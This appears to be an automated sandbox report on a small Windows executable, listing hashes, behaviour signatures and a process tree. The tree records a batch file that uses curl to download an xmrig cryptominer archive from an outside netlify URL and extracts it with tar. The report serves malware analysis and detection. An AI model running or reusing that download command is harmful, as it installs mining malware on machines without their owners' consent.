Resubmissions

13/03/2024, 08:45

240313-knsznahb2w10

13/03/2024, 08:44

240313-knhtpaah6810

13/03/2024, 08:44

240313-km8cysha9v10

13/03/2024, 08:43

240313-kms82aah4810

12/03/2024, 18:00

240312-wlevsshe8610

12/03/2024, 17:57

240312-wjxylahe4810

12/03/2024, 17:55

240312-whm21afc7t10

12/03/2024, 17:54

240312-wg7p1sfc5y10

12/03/2024, 17:53

240312-wgg5csfc3y10

12/03/2024, 17:52

240312-wf31fahd5810

Analysis

  • max time kernel
    1789s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2024, 18:00

General

  • Target
    test - Copy - Copy - Copy - Copy.exe
  • Size 6KB
  • Sample240312-wlevsshe86
  • SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy - Copy.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\z993mDkb.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1484
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:4024
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4612
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4144 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:4692
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2204 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
          1⤵
            PID:1412

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                z993mDkb.bat

                • Path C:\Users\Admin\AppData\Local\Temp\z993mDkb.bat
                • Size 421B
                • SHA256 69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
                • MD5 SHA1 SHA512

                memory/220-0-0x00000000003F0000-0x00000000003F8000-memory.dmp

                memory/220-1-0x00007FFA052F0000-0x00007FFA05DB1000-memory.dmp

                memory/220-8-0x00007FFA052F0000-0x00007FFA05DB1000-memory.dmp